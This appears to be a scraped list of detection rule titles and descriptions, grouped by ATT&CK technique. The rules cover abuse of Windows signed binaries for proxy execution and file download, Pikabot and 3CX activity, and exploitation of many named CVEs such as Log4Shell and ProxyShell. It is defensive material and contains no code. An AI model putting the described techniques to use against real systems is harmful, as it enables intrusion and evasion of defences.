Dotnet.EXE. Binary Proxy Execution Via Dotnet-Trace.EXE - Level: medium Description: Detects commandline arguments for executing a child process via dotnet-trace.exe Potentially Over Permissive Permissions Granted Using Dsacls.EXE - Level: medium Description: Detects usage of Dsacls to grant over permissive permissions Potential Password Spraying Attempt Using Dsacls.EXE - Level: medium Description: Detects possible password spraying attempts using Dsacls New Capture Session Launched Via DXCap.EXE - Level: medium Description: Detects the execution of "DXCap.EXE" with the "-c" flag, which allows a user to launch any arbitrary binary or windows package through DXCap itself. This can be abused to potentially bypass application whitelisting. Potentially Suspicious Cabinet File Expansion - Level: medium Description: Detects the expansion or decompression of cabinet files from potentially suspicious or uncommon locations, e.g. seen in Iranian MeteorExpress related attacks Remote File Download Via Findstr.EXE - Level: medium Description: Detects execution of "findstr" with specific flags and a remote share path. This specific set of CLI flags would allow "findstr" to download the content of the file located on the remote share as described in the LOLBAS entry. Insensitive Subfolder Search Via Findstr.EXE - Level: low Description: Detects execution of findstr with the "s" and "i" flags for a "subfolder" and "insensitive" search respectively. Attackers sometimes leverage this built-in utility to search the system for interesting files or filter through results of commands. HTML Help HH.EXE Suspicious Child Process - Level: high Description: Detects a suspicious child process of a Microsoft HTML Help (HH.exe) Suspicious HH.EXE Execution - Level: high Description: Detects a suspicious execution of a Microsoft HTML Help (HH.exe) Suspicious ZipExec Execution - Level: medium Description: ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file. Self Extracting Package Creation Via Iexpress.EXE From Potentially Suspicious Location - Level: high Description: Detects the use of iexpress.exe to create binaries via Self Extraction Directive (SED) files located in potentially suspicious locations. This behavior has been observed in-the-wild by different threat actors. Arbitrary File Download Via IMEWDBLD.EXE - Level: high Description: Detects usage of "IMEWDBLD.exe" to download arbitrary files InfDefaultInstall.exe .inf Execution - Level: medium Description: Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file. File Download Via InstallUtil.EXE - Level: medium Description: Detects use of .NET InstallUtil.exe in order to download arbitrary files. The files will be written to "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\" Import LDAP Data Interchange Format File Via Ldifde.EXE - Level: medium Description: Detects the execution of "Ldifde.exe" with the import flag "-i". The can be abused to include HTTP-based arguments which will allow the arbitrary download of files from a remote server. Uncommon Link.EXE Parent Process - Level: medium Description: Detects an uncommon parent process of "LINK.EXE". Link.EXE in Microsoft incremental linker. Its a utility usually bundled with Visual Studio installation. Multiple utilities often found in the same folder (editbin.exe, dumpbin.exe, lib.exe, etc) have a hardcode call to the "LINK.EXE" binary without checking its validity. This would allow an attacker to sideload any binary with the name "link.exe" if one of the aforementioned tools get executed from a different location. By filtering the known locations of such utilities we can spot uncommon parent process of LINK.EXE that might be suspicious or malicious. Devtoolslauncher.exe Executes Specified Binary - Level: high Description: The Devtoolslauncher.exe executes other binary DeviceCredentialDeployment Execution - Level: medium Description: Detects the execution of DeviceCredentialDeployment to hide a process from view Gpscript Execution - Level: medium Description: Detects the execution of the LOLBIN gpscript, which executes logon or startup scripts configured in Group Policy Ie4uinit Lolbin Use From Invalid Path - Level: medium Description: Detect use of ie4uinit.exe to execute commands from a specially prepared ie4uinit.inf file from a directory other than the usual directories MpiExec Lolbin - Level: high Description: Detects a certain command line flag combination used by mpiexec.exe LOLBIN from HPC pack that can be used to execute any other binary Execute Files with Msdeploy.exe - Level: medium Description: Detects file execution using the msdeploy.exe lolbin Execute MSDT Via Answer File - Level: high Description: Detects execution of "msdt.exe" using an answer file which is simulating the legitimate way of calling msdt via "pcwrun.exe" (For example from the compatibility tab) OpenWith.exe Executes Specified Binary - Level: high Description: The OpenWith.exe executes other binary Indirect Command Execution By Program Compatibility Wizard - Level: low Description: Detect indirect command execution via Program Compatibility Assistant pcwrun.exe Execute Pcwrun.EXE To Leverage Follina - Level: high Description: Detects indirect command execution via Program Compatibility Assistant "pcwrun.exe" leveraging the follina (CVE-2022-30190) vulnerability DLL Execution via Rasautou.exe - Level: medium Description: Detects using Rasautou.exe for loading arbitrary .DLL specified in -d option and executes the export specified in -p. REGISTER_APP.VBS Proxy Execution - Level: medium Description: Detects the use of a Microsoft signed script 'REGISTER_APP.VBS' to register a VSS/VDS Provider as a COM+ application. Lolbin Runexehelper Use As Proxy - Level: medium Description: Detect usage of the "runexehelper.exe" binary as a proxy to launch other programs Use of Scriptrunner.exe - Level: medium Description: The "ScriptRunner.exe" binary can be abused to proxy execution through it and bypass possible whitelisting Use Of The SFTP.EXE Binary As A LOLBIN - Level: medium Description: Detects the usage of the "sftp.exe" binary as a LOLBIN by abusing the "-D" flag SyncAppvPublishingServer Execute Arbitrary PowerShell Code - Level: medium Description: Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe. SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code - Level: medium Description: Executes arbitrary PowerShell code using SyncAppvPublishingServer.vbs Time Travel Debugging Utility Usage - Level: high Description: Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe. Lolbin Unregmp2.exe Use As Proxy - Level: medium Description: Detect usage of the "unregmp2.exe" binary as a proxy to launch a custom version of "wmpnscfg.exe" Use of VisualUiaVerifyNative.exe - Level: medium Description: VisualUiaVerifyNative.exe is a Windows SDK that can be used for AWL bypass and is listed in Microsoft's recommended block rules. Potential Register_App.Vbs LOLScript Abuse - Level: medium Description: Detects potential abuse of the "register_app.vbs" script that is part of the Windows SDK. The script offers the capability to register new VSS/VDS Provider as a COM+ application. Attackers can use this to install malicious DLLs for persistence and execution. Potential Suspicious Mofcomp Execution - Level: high Description: Detects execution of the "mofcomp" utility as a child of a suspicious shell or script running utility or by having a suspicious path in the commandline. The "mofcomp" utility parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. Attackers abuse this utility to install malicious MOF scripts File Download Via Windows Defender MpCmpRun.EXE - Level: high Description: Detects the use of Windows Defender MpCmdRun.EXE to download files Arbitrary File Download Via MSEDGE_PROXY.EXE - Level: medium Description: Detects usage of "msedge_proxy.exe" to download arbitrary files Suspicious MSDT Parent Process - Level: high Description: Detects msdt.exe executed by a suspicious parent as seen in CVE-2022-30190 / Follina exploitation Arbitrary File Download Via MSOHTMED.EXE - Level: medium Description: Detects usage of "MSOHTMED" to download arbitrary files Arbitrary File Download Via MSPUB.EXE - Level: medium Description: Detects usage of "MSPUB" (Microsoft Publisher) to download arbitrary files Potential Mpclient.DLL Sideloading Via OfflineScannerShell.EXE Execution - Level: medium Description: Detects execution of Windows Defender "OfflineScannerShell.exe" from its non standard directory. The "OfflineScannerShell.exe" binary is vulnerable to DLL side loading and will load any DLL named "mpclient.dll" from the current working directory. RemoteFXvGPUDisablement Abuse Via AtomicTestHarnesses - Level: high Description: Detects calls to the AtomicTestHarnesses "Invoke-ATHRemoteFXvGPUDisablementCommand" which is designed to abuse the "RemoteFXvGPUDisablement.exe" binary to run custom PowerShell code via module load-order hijacking. Arbitrary File Download Via PresentationHost.EXE - Level: medium Description: Detects usage of "PresentationHost" which is a utility that runs ".xbap" (Browser Applications) files to download arbitrary files XBAP Execution From Uncommon Locations Via PresentationHost.EXE - Level: medium Description: Detects the execution of ".xbap" (Browser Applications) files via PresentationHost.EXE from an uncommon location. These files can be abused to run malicious ".xbap" files any bypass AWL Visual Studio NodejsTools PressAnyKey Arbitrary Binary Execution - Level: medium Description: Detects child processes of Microsoft.NodejsTools.PressAnyKey.exe that can be used to execute any other binary Abusing Print Executable - Level: medium Description: Attackers can use print.exe for remote file copy File Download Using ProtocolHandler.exe - Level: medium Description: Detects usage of "ProtocolHandler" to download files. Downloaded files will be located in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE) Suspicious Provlaunch.EXE Child Process - Level: high Description: Detects suspicious child processes of "provlaunch.exe" which might indicate potential abuse to proxy execution. Potential Provlaunch.EXE Binary Proxy Execution Abuse - Level: medium Description: Detects child processes of "provlaunch.exe" which might indicate potential abuse to proxy execution. Potential Provisioning Registry Key Abuse For Binary Proxy Execution - Level: high Description: Detects potential abuse of the provisioning registry key for indirect command execution through "Provlaunch.exe". Renamed ZOHO Dctask64 Execution - Level: high Description: Detects a renamed "dctask64.exe" execution, a signed binary by ZOHO Corporation part of ManageEngine Endpoint Central. This binary can be abused for DLL injection, arbitrary command and process execution. Renamed MegaSync Execution - Level: high Description: Detects the execution of a renamed MegaSync.exe as seen used by ransomware families like Nefilim, Sodinokibi, Pysa, and Conti. Visual Studio NodejsTools PressAnyKey Renamed Execution - Level: medium Description: Detects renamed execution of "Microsoft.NodejsTools.PressAnyKey.exe", which can be abused as a LOLBIN to execute arbitrary binaries Sdiagnhost Calling Suspicious Child Process - Level: high Description: Detects sdiagnhost.exe calling a suspicious child process (e.g. used in exploits for Follina / CVE-2022-30190) Uncommon Child Process Of Setres.EXE - Level: high Description: Detects uncommon child process of Setres.EXE. Setres.EXE is a Windows server only process and tool that can be used to set the screen resolution. It can potentially be abused in order to launch any arbitrary file with a name containing the word "choice" from the current execution path. Arbitrary File Download Via Squirrel.EXE - Level: medium Description: Detects the usage of the "Squirrel.exe" to download arbitrary files. This binary is part of multiple Electron based software installations (Slack, Teams, Discord, etc.) Process Proxy Execution Via Squirrel.EXE - Level: medium Description: Detects the usage of the "Squirrel.exe" binary to execute arbitrary processes. This binary is part of multiple Electron based software installations (Slack, Teams, Discord, etc.) Program Executed Using Proxy/Local Command Via SSH.EXE - Level: medium Description: Detect usage of the "ssh.exe" binary as a proxy to launch other programs. Execution via stordiag.exe - Level: high Description: Detects the use of stordiag.exe to execute schtasks.exe systeminfo.exe and fltmc.exe Potential File Download Via MS-AppInstaller Protocol Handler - Level: medium Description: Detects usage of the "ms-appinstaller" protocol handler via command line to potentially download arbitrary files via AppInstaller.EXE The downloaded files are temporarly stored in ":\Users\%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\INetCache\" Windows Shell/Scripting Processes Spawning Suspicious Programs - Level: high Description: Detects suspicious child processes of a Windows shell and scripting processes such as wscript, rundll32, powershell, mshta...etc. Malicious Windows Script Components File Execution by TAEF Detection - Level: low Description: Windows Test Authoring and Execution Framework (TAEF) framework allows you to run automation by executing tests files written on different languages (C, C#, Microsoft COM Scripting interfaces Adversaries may execute malicious code (such as WSC file with VBScript, dll and so on) directly by running te.exe Malicious PE Execution by Microsoft Visual Studio Debugger - Level: medium Description: There is an option for a MS VS Just-In-Time Debugger "vsjitdebugger.exe" to launch specified executable and attach a debugger. This option may be used adversaries to execute malicious code by signed verified binary. The debugger is installed alongside with Microsoft Visual Studio package. Execution via WorkFolders.exe - Level: high Description: Detects using WorkFolders.exe to execute an arbitrary control.exe Potential Binary Impersonating Sysinternals Tools - Level: medium Description: Detects binaries that use the same name as legitimate sysinternals tools to evade detection Verclsid.exe Runs COM Object - Level: medium Description: Detects when verclsid.exe is used to run COM object via GUID Potentially Suspicious Child Process Of VsCode - Level: medium Description: Detects uncommon or suspicious child processes spawning from a VsCode "code.exe" process. This could indicate an attempt of persistence via VsCode tasks or terminal profiles. Potential Binary Proxy Execution Via VSDiagnostics.EXE - Level: medium Description: Detects execution of "VSDiagnostics.exe" with the "start" command in order to launch and proxy arbitrary binaries. Suspicious Vsls-Agent Command With AgentExtensionPath Load - Level: medium Description: Detects Microsoft Visual Studio vsls-agent.exe lolbin execution with a suspicious library load using the --agentExtensionPath parameter Wlrmdr.EXE Uncommon Argument Or Child Process - Level: medium Description: Detects the execution of "Wlrmdr.exe" with the "-u" command line flag which allows anything passed to it to be an argument of the ShellExecute API, which would allow an attacker to execute arbitrary binaries. This detection also focuses on any uncommon child processes spawned from "Wlrmdr.exe" as a supplement for those that posses "ParentImage" telemetry. WSL Child Process Anomaly - Level: medium Description: Detects uncommon or suspicious child processes spawning from a WSL process. This could indicate an attempt to evade parent/child relationship detections or persistence attempts via cron using WSL Proxy Execution Via Wuauclt.EXE - Level: high Description: Detects the use of the Windows Update Client binary (wuauclt.exe) for proxy execution. COM Object Execution via Xwizard.EXE - Level: medium Description: Detects the execution of Xwizard tool with the "RunWizard" flag and a GUID like argument. This utility can be abused in order to run custom COM object created in the registry. Atbroker Registry Change - Level: medium Description: Detects creation/modification of Assistive Technology applications and persistence with usage of 'at' Potential Provisioning Registry Key Abuse For Binary Proxy Execution - REG - Level: high Description: Detects potential abuse of the provisioning registry key for indirect command execution through "Provlaunch.exe". Execution DLL of Choice Using WAB.EXE - Level: high Description: This rule detects that the path to the DLL written in the registry is different from the default one. Launched WAB.exe tries to load the DLL from Registry. Potential Devil Bait Malware Reconnaissance - Level: high Description: Detects specific process behavior observed with Devil Bait samples Potential Pikabot Infection - Suspicious Command Combinations Via Cmd.EXE - Level: medium Description: Detects the execution of concatenated commands via "cmd.exe". Pikabot often executes a combination of multiple commands via the command handler "cmd /c" in order to download and execute additional payloads. Commands such as "curl", "wget" in order to download extra payloads. "ping" and "timeout" are abused to introduce delays in the command execution and "Rundll32" is also used to execute malicious DLL files. In the observed Pikabot infections, a combination of the commands described above are used to orchestrate the download and execution of malicious DLL files. Potential Compromised 3CXDesktopApp Execution - Level: high Description: Detects execution of known compromised version of 3CXDesktopApp Potential Suspicious Child Process Of 3CXDesktopApp - Level: high Description: Detects potential suspicious child processes of "3CXDesktopApp.exe". Which could be related to the 3CXDesktopApp supply chain compromise Potential Compromised 3CXDesktopApp Update Activity - Level: high Description: Detects the 3CXDesktopApp updater downloading a known compromised version of the 3CXDesktopApp software Dllhost.EXE Initiated Network Connection To Non-Local IP Address - Level: medium Description: Detects Dllhost.EXE initiating a network connection to a non-local IP address. Aside from Microsoft own IP range that needs to be excluded. Network communication from Dllhost will depend entirely on the hosted DLL. An initial baseline is recommended before deployment. Diskshadow Child Process Spawned - Level: medium Description: Detects any child process spawning from "Diskshadow.exe". This could be due to executing Diskshadow in interpreter mode or script mode and using the "exec" flag to launch other applications. Diskshadow Script Mode Execution - Level: medium Description: Detects execution of "Diskshadow.exe" in script mode using the "/s" flag. Attackers often abuse "diskshadow" to execute scripts that deleted the shadow copies on the systems. Investigate the content of the scripts and its location. Potential Proxy Execution Via Explorer.EXE From Shell Process - Level: low Description: Detects the creation of a child "explorer.exe" process from a shell like process such as "cmd.exe" or "powershell.exe". Attackers can use "explorer.exe" for evading defense mechanisms by proxying the execution through the latter. While this is often a legitimate action, this rule can be use to hunt for anomalies. Muddy Waters threat actor was seeing using this technique. Potential DLL Sideloading Activity Via ExtExport.EXE - Level: medium Description: Detects the execution of "Extexport.exe".A utility that is part of the Internet Explorer browser and is used to export and import various settings and data, particularly when switching between Internet Explorer and other web browsers like Firefox. It allows users to transfer bookmarks, browsing history, and other preferences from Internet Explorer to Firefox or vice versa. It can be abused as a tool to side load any DLL. If a folder is provided in the command line it'll load any DLL with one of the following names "mozcrt19.dll", "mozsqlite3.dll", or "sqlite.dll". Arbitrary DLLs can also be loaded if a specific number of flags was provided. New Self Extracting Package Created Via IExpress.EXE - Level: medium Description: Detects the "iexpress.exe" utility creating self-extracting packages. Attackers where seen leveraging "iexpress" to compile packages on the fly via ".sed" files. Investigate the command line options provided to "iexpress" and in case of a ".sed" file, check the contents and legitimacy of it. Microsoft Workflow Compiler Execution - Level: medium Description: Detects the execution of Microsoft Workflow Compiler, which may permit the execution of arbitrary unsigned code. Regsvr32.EXE Calling of DllRegisterServer Export Function Implicitly - Level: medium Description: Detects execution of regsvr32 with the silent flag and no other flags on a DLL located in an uncommon or potentially suspicious location. When Regsvr32 is called in such a way, it implicitly calls the DLL export function 'DllRegisterServer'. Rundll32.EXE Calling DllRegisterServer Export Function Explicitly - Level: medium Description: Detects when the DLL export function 'DllRegisterServer' is called in the commandline by Rundll32 explicitly where the DLL is located in a non-standard path. Arbitrary Command Execution Using WSL - Level: medium Description: Detects potential abuse of Windows Subsystem for Linux (WSL) binary as a Living of the Land binary in order to execute arbitrary Linux or Windows commands.
attack.t1190	130	Show Rules (130) OMIGOD SCX RunAsProvider ExecuteShellCommand - Auditd - Level: high Description: Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite. Django Framework Exceptions - Level: medium Description: Detects suspicious Django web application framework exceptions that could indicate exploitation attempts Potential JNDI Injection Exploitation In JVM Based Application - Level: high Description: Detects potential JNDI Injection exploitation. Often coupled with Log4Shell exploitation. Potential Local File Read Vulnerability In JVM Based Application - Level: high Description: Detects potential local file read vulnerability in JVM based apps. If the exceptions are caused due to user input and contain path traversal payloads then it's a red flag. Potential OGNL Injection Exploitation In JVM Based Application - Level: high Description: Detects potential OGNL Injection exploitation, which may lead to RCE. OGNL is an expression language that is supported in many JVM based systems. OGNL Injection is the reason for some high profile RCE's such as Apache Struts (CVE-2017-5638) and Confluence (CVE-2022-26134) Process Execution Error In JVM Based Application - Level: high Description: Detects process execution related exceptions in JVM based apps, often relates to RCE Potential XXE Exploitation Attempt In JVM Based Application - Level: high Description: Detects XML parsing issues, if the application expects to work with XML make sure that the parser is initialized safely. Potential RCE Exploitation Attempt In NodeJS - Level: high Description: Detects process execution related errors in NodeJS. If the exceptions are caused due to user input then they may suggest an RCE vulnerability. OpenCanary - FTP Login Attempt - Level: high Description: Detects instances where an FTP service on an OpenCanary node has had a login attempt. OpenCanary - HTTP GET Request - Level: high Description: Detects instances where an HTTP service on an OpenCanary node has received a GET request. OpenCanary - HTTP POST Login Attempt - Level: high Description: Detects instances where an HTTP service on an OpenCanary node has had login attempt via Form POST. Python SQL Exceptions - Level: medium Description: Generic rule for SQL exceptions in Python according to PEP 249 Ruby on Rails Framework Exceptions - Level: medium Description: Detects suspicious Ruby on Rails exceptions that could indicate exploitation attempts Spring Framework Exceptions - Level: medium Description: Detects suspicious Spring framework exceptions that could indicate exploitation attempts Potential SpEL Injection In Spring Framework - Level: high Description: Detects potential SpEL Injection exploitation, which may lead to RCE. Suspicious SQL Error Messages - Level: high Description: Detects SQL error messages that indicate probing for an injection attack Potential Server Side Template Injection In Velocity - Level: high Description: Detects exceptions in velocity template renderer, this most likely happens due to dynamic rendering of user input and may lead to RCE. Suspicious SQL Query - Level: medium Description: Detects suspicious SQL query keywrods that are often used during recon, exfiltration or destructive activities. Such as dropping tables and selecting wildcard fields New Network ACL Entry Added - Level: low Description: Detects that network ACL entries have been added to a route table which could indicate that new attack vectors have been opened up in the AWS account. New Network Route Added - Level: medium Description: Detects the addition of a new network route to a route table in AWS. Ingress/Egress Security Group Modification - Level: medium Description: Detects when an account makes changes to the ingress or egress rules of a security group. This can indicate that an attacker is attempting to open up new attack vectors in the account, that they are trying to exfiltrate data over the network, or that they are trying to allow machines in that VPC/Subnet to contact a C&C server. LoadBalancer Security Group Modification - Level: medium Description: Detects changes to the security groups associated with an Elastic Load Balancer (ELB) or Application Load Balancer (ALB). This can indicate that a misconfiguration allowing more traffic into the system than required, or could indicate that an attacker is attempting to enable new connections into a VPC or subnet controlled by the account. RDS Database Security Group Modification - Level: medium Description: Detects changes to the security group entries for RDS databases. This can indicate that a misconfiguration has occurred which potentially exposes the database to the public internet, a wider audience within the VPC or that removal of valid rules has occurred which could impact the availability of the database to legitimate services and users. Suspicious OpenSSH Daemon Error - Level: medium Description: Detects suspicious SSH / SSHD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts Suspicious Named Error - Level: high Description: Detects suspicious DNS error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts Suspicious VSFTPD Error Messages - Level: medium Description: Detects suspicious VSFTPD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts Atlassian Confluence CVE-2022-26134 - Level: high Description: Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2022-26134 Apache Spark Shell Command Injection - ProcessCreation - Level: high Description: Detects attempts to exploit an apache spark server via CVE-2014-6287 from a commandline perspective OMIGOD SCX RunAsProvider ExecuteScript - Level: high Description: Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite. OMIGOD SCX RunAsProvider ExecuteShellCommand - Level: high Description: Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite. DNS Query to External Service Interaction Domains - Level: high Description: Detects suspicious DNS queries to external service interaction domains often used for out-of-band interactions after successful RCE OMIGOD HTTP No Authentication RCE - Level: high Description: Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request. Verify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP). Within the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request. Apache Threading Error - Level: medium Description: Detects an issue in apache logs that reports threading related errors F5 BIG-IP iControl Rest API Command Execution - Proxy - Level: medium Description: Detects POST requests to the F5 BIG-IP iControl Rest API "bash" endpoint, which allows the execution of commands on the BIG-IP Hack Tool User Agent - Level: high Description: Detects suspicious user agent strings user by hack tools in proxy logs F5 BIG-IP iControl Rest API Command Execution - Webserver - Level: medium Description: Detects POST requests to the F5 BIG-IP iControl Rest API "bash" endpoint, which allows the execution of commands on the BIG-IP Successful IIS Shortname Fuzzing Scan - Level: medium Description: When IIS uses an old .Net Framework it's possible to enumerate folders with the symbol "~" Java Payload Strings - Level: high Description: Detects possible Java payloads in web access logs JNDIExploit Pattern - Level: high Description: Detects exploitation attempt using the JNDI-Exploit-Kit Path Traversal Exploitation Attempts - Level: medium Description: Detects path traversal exploitation attempts SQL Injection Strings In URI - Level: high Description: Detects potential SQL injection attempts via GET requests in access logs. Suspicious User-Agents Related To Recon Tools - Level: medium Description: Detects known suspicious (default) user-agents related to scanning/recon tools Failed Logon From Public IP - Level: medium Description: Detects a failed logon attempt from a public IP. A login from a public IP can indicate a misconfigured firewall or network boundary. Suspicious File Drop by Exchange - Level: medium Description: Detects suspicious file type dropped by an Exchange component in IIS Suspicious MSExchangeMailboxReplication ASPX Write - Level: high Description: Detects suspicious activity in which the MSExchangeMailboxReplication process writes .asp and .apsx files to disk, which could be a sign of ProxyShell exploitation Suspicious Child Process Of SQL Server - Level: high Description: Detects suspicious child processes of the SQLServer process. This could indicate potential RCE or SQL Injection. Remote Access Tool - ScreenConnect Server Web Shell Execution - Level: high Description: Detects potential web shell execution from the ScreenConnect server process. Terminal Service Process Spawn - Level: high Description: Detects a process spawned by the terminal service server process (this could be an indicator for an exploitation of CVE-2019-0708) Suspicious Process By Web Server Process - Level: high Description: Detects potentially suspicious processes being spawned by a web server process which could be the result of a successfully placed web shell or exploitation Suspicious Processes Spawned by WinRM - Level: high Description: Detects suspicious processes including shells spawnd from WinRM host process Rejetto HTTP File Server RCE - Level: high Description: Detects attempts to exploit a Rejetto HTTP File Server (HFS) via CVE-2014-6287 CVE-2010-5278 Exploitation Attempt - Level: critical Description: MODx manager - Local File Inclusion:Directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl, and possibly earlier, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter. Fortinet CVE-2018-13379 Exploitation - Level: critical Description: Detects CVE-2018-13379 exploitation attempt against Fortinet SSL VPNs Oracle WebLogic Exploit - Level: critical Description: Detects access to a webshell dropped into a keystore folder on the WebLogic server Pulse Secure Attack CVE-2019-11510 - Level: critical Description: Detects CVE-2019-11510 exploitation attempt - URI contains Guacamole Citrix Netscaler Attack CVE-2019-19781 - Level: critical Description: Detects CVE-2019-19781 exploitation attempt against Citrix Netscaler, Application Delivery Controller and Citrix Gateway Attack Confluence Exploitation CVE-2019-3398 - Level: critical Description: Detects the exploitation of the Confluence vulnerability described in CVE-2019-3398 CVE-2020-0688 Exploitation Attempt - Level: high Description: Detects CVE-2020-0688 Exploitation attempts CVE-2020-0688 Exchange Exploitation via Web Log - Level: critical Description: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688 CVE-2020-0688 Exploitation via Eventlog - Level: high Description: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688 CVE-2020-10148 SolarWinds Orion API Auth Bypass - Level: critical Description: Detects CVE-2020-10148 SolarWinds Orion API authentication bypass attempts DNS RCE CVE-2020-1350 - Level: critical Description: Detects exploitation of DNS RCE bug reported in CVE-2020-1350 by the detection of suspicious sub process CVE-2020-5902 F5 BIG-IP Exploitation Attempt - Level: critical Description: Detects the exploitation attempt of the vulnerability found in F5 BIG-IP and described in CVE-2020-5902 Citrix ADS Exploitation CVE-2020-8193 CVE-2020-8195 - Level: critical Description: Detects exploitation attempt against Citrix Netscaler, Application Delivery Controller (ADS) and Citrix Gateway exploiting vulnerabilities reported as CVE-2020-8193 and CVE-2020-8195 Exploited CVE-2020-10189 Zoho ManageEngine - Level: high Description: Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189 TerraMaster TOS CVE-2020-28188 - Level: high Description: Detects the exploitation of the TerraMaster TOS vulnerability described in CVE-2020-28188 Cisco ASA FTD Exploit CVE-2020-3452 - Level: high Description: Detects exploitation attempts on Cisco ASA FTD systems exploiting CVE-2020-3452 with a status code of 200 (sccessful exploitation) Oracle WebLogic Exploit CVE-2020-14882 - Level: high Description: Detects exploitation attempts on WebLogic servers Arcadyan Router Exploitations - Level: critical Description: Detects exploitation of vulnerabilities in Arcadyan routers as reported in CVE-2021-20090 and CVE-2021-20091. Oracle WebLogic Exploit CVE-2021-2109 - Level: critical Description: Detects the exploitation of the WebLogic server vulnerability described in CVE-2021-2109 CVE-2021-21972 VSphere Exploitation - Level: high Description: Detects the exploitation of VSphere Remote Code Execution vulnerability as described in CVE-2021-21972 CVE-2021-21978 Exploitation Attempt - Level: high Description: Detects the exploitation of the VMware View Planner vulnerability described in CVE-2021-21978 VMware vCenter Server File Upload CVE-2021-22005 - Level: high Description: Detects exploitation attempts using file upload vulnerability CVE-2021-22005 in the VMWare vCenter Server. Fortinet CVE-2021-22123 Exploitation - Level: critical Description: Detects CVE-2021-22123 exploitation attempt against Fortinet WAFs Pulse Connect Secure RCE Attack CVE-2021-22893 - Level: high Description: This rule detects exploitation attempts using Pulse Connect Secure(PCS) vulnerability (CVE-2021-22893) Potential Atlassian Confluence CVE-2021-26084 Exploitation Attempt - Level: high Description: Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2021-26084 Potential CVE-2021-26084 Exploitation Attempt - Level: high Description: Detects potential exploitation of CVE-2021-260841 a Confluence RCE using OGNL injection Exploitation of CVE-2021-26814 in Wazuh - Level: high Description: Detects the exploitation of the Wazuh RCE vulnerability described in CVE-2021-26814 ProxyLogon Reset Virtual Directories Based On IIS Log - Level: critical Description: When exploiting this vulnerability with CVE-2021-26858, an SSRF attack is used to manipulate virtual directories Potential CVE-2021-27905 Exploitation Attempt - Level: medium Description: Detects exploitation attempt of the CVE-2021-27905 which affects all Apache Solr versions prior to and including 8.8.1. Exchange Exploitation CVE-2021-28480 - Level: critical Description: Detects successful exploitation of Exchange vulnerability as reported in CVE-2021-28480 CVE-2021-33766 Exchange ProxyToken Exploitation - Level: critical Description: Detects the exploitation of Microsoft Exchange ProxyToken vulnerability as described in CVE-2021-33766 ADSelfService Exploitation - Level: high Description: Detects suspicious access to URLs that was noticed in cases in which attackers exploitated the ADSelfService vulnerability CVE-2021-40539 CVE-2021-40539 Zoho ManageEngine ADSelfService Plus Exploit - Level: critical Description: Detects an authentication bypass vulnerability affecting the REST API URLs in ADSelfService Plus (CVE-2021-40539). LPE InstallerFileTakeOver PoC CVE-2021-41379 - Level: high Description: Detects PoC tool used to exploit LPE vulnerability CVE-2021-41379 CVE-2021-41773 Exploitation Attempt - Level: high Description: Detects exploitation of flaw in path normalization in Apache HTTP server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. Sitecore Pre-Auth RCE CVE-2021-42237 - Level: high Description: Detects exploitation attempts of Sitecore Experience Platform Pre-Auth RCE CVE-2021-42237 found in Report.ashx Grafana Path Traversal Exploitation CVE-2021-43798 - Level: critical Description: Detects a successful Grafana path traversal exploitation Potential CVE-2021-44228 Exploitation Attempt - VMware Horizon - Level: high Description: Detects potential initial exploitation attempts against VMware Horizon deployments running a vulnerable versions of Log4j. Log4j RCE CVE-2021-44228 Generic - Level: high Description: Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 (Log4Shell) Log4j RCE CVE-2021-44228 in Fields - Level: high Description: Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 in different header fields found in web server logs (Log4Shell) Exchange ProxyShell Pattern - Level: high Description: Detects URL patterns that could be found in ProxyShell exploitation attempts against Exchange servers (failed and successful) SonicWall SSL/VPN Jarrewrite Exploitation - Level: high Description: Detects exploitation attempts of the SonicWall Jarrewrite Exploit Exchange Exploitation Used by HAFNIUM - Level: high Description: Detects exploitation attempts in Exchange server logs as described in blog posts reporting on HAFNIUM group activity Potential CVE-2022-21587 